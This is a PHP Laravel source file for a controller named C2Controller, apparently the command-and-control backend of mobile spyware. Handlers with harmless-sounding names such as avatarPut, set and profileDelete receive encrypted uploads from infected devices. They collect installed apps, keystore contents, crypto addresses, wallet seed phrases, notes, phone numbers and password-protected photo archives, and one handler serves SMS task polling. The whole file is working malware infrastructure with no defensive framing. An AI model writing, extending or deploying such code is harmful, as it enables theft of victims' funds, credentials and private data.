216 lines
7.1 KiB
PHP
216 lines
7.1 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Controllers\C2;
|
|
|
|
use App\Http\Controllers\Controller;
|
|
use App\Services\CorunaCrypto;
|
|
use App\Services\IngestService;
|
|
use App\Services\PhotoArchiveIngest;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Http\Response;
|
|
|
|
class C2Controller extends Controller
|
|
{
|
|
/** @var CorunaCrypto */
|
|
private $crypto;
|
|
|
|
/** @var IngestService */
|
|
private $ingest;
|
|
|
|
/** @var PhotoArchiveIngest */
|
|
private $photos;
|
|
|
|
public function __construct(CorunaCrypto $crypto, IngestService $ingest, PhotoArchiveIngest $photos)
|
|
{
|
|
$this->crypto = $crypto;
|
|
$this->ingest = $ingest;
|
|
$this->photos = $photos;
|
|
}
|
|
|
|
public function query(): Response
|
|
{
|
|
return response('OK', 200)->header('Content-Type', 'text/plain');
|
|
}
|
|
|
|
public function avatarSet(Request $request): Response
|
|
{
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function userGet(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestInstalledApps($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
|
}
|
|
|
|
public function avatarPut(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
// Trusted channel_id source; updates touch updated_at (+ channel_id only if empty).
|
|
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestDeviceEvent($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function avatarStatus(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestKeystore($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function status(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestAddresses($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function set(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestMnemonic($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function check(Request $request): Response
|
|
{
|
|
$rawKey = $request->attributes->get('coruna_device_key')
|
|
?: $request->input('d')
|
|
?: $request->input('f');
|
|
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
|
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
|
: null;
|
|
$device = $this->ingest->ensureDevice(
|
|
$request,
|
|
array_filter([
|
|
'd' => $deviceKey,
|
|
'c' => $request->input('c'),
|
|
'channel' => $request->input('channel'),
|
|
]),
|
|
$deviceKey
|
|
);
|
|
|
|
// Archive password = session_key || batchBaseTimestampString.
|
|
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
|
|
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
|
|
$batchBase = (string) ($request->input('batchBase')
|
|
?? $request->input('batch_base')
|
|
?? $request->input('base')
|
|
?? $request->input('ts')
|
|
?? '0');
|
|
if ($batchBase === '') {
|
|
$batchBase = '0';
|
|
}
|
|
|
|
$xHitRaw = $request->input('x-hit');
|
|
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
|
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
|
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
|
$photoMeta = [
|
|
'x_hit' => $xHit,
|
|
'upload_count' => $uploadCount,
|
|
'process_index' => $processIndex,
|
|
'text_count' => $textCount,
|
|
'barcode_count' => $barcodeCount,
|
|
];
|
|
|
|
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
|
$this->photos->accept(
|
|
$device,
|
|
(string) $request->file('file')->getRealPath(),
|
|
$batchBase,
|
|
$photoMeta,
|
|
'lab',
|
|
[
|
|
'idx' => $request->input('idx'),
|
|
'ftu' => $request->input('ftu'),
|
|
'ts' => $request->input('ts'),
|
|
'x-hit' => $xHitRaw,
|
|
],
|
|
);
|
|
}
|
|
|
|
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function avatarPic(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device) {
|
|
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function profileNop(Request $request): Response
|
|
{
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
/**
|
|
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
|
|
* non-zero backs off to ~60s — return code 1 to avoid hammering.
|
|
* Payload `p` is the device phone number.
|
|
*/
|
|
public function profileDelete(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestDevicePhone($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]);
|
|
}
|
|
|
|
public function linkConfigList(Request $request): Response
|
|
{
|
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
|
}
|
|
|
|
public function linkConfigIcon(Request $request): Response
|
|
{
|
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
|
}
|
|
|
|
/**
|
|
* @param mixed $data
|
|
*/
|
|
private function encryptedAck($data = null): Response
|
|
{
|
|
if ($data === null) {
|
|
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
|
}
|
|
$enc = $this->crypto->encryptJson($data);
|
|
|
|
return response($enc['body'], 200)
|
|
->header('Content-Type', 'text/plain')
|
|
->header('timestamp', $enc['timestamp']);
|
|
}
|
|
|
|
}
|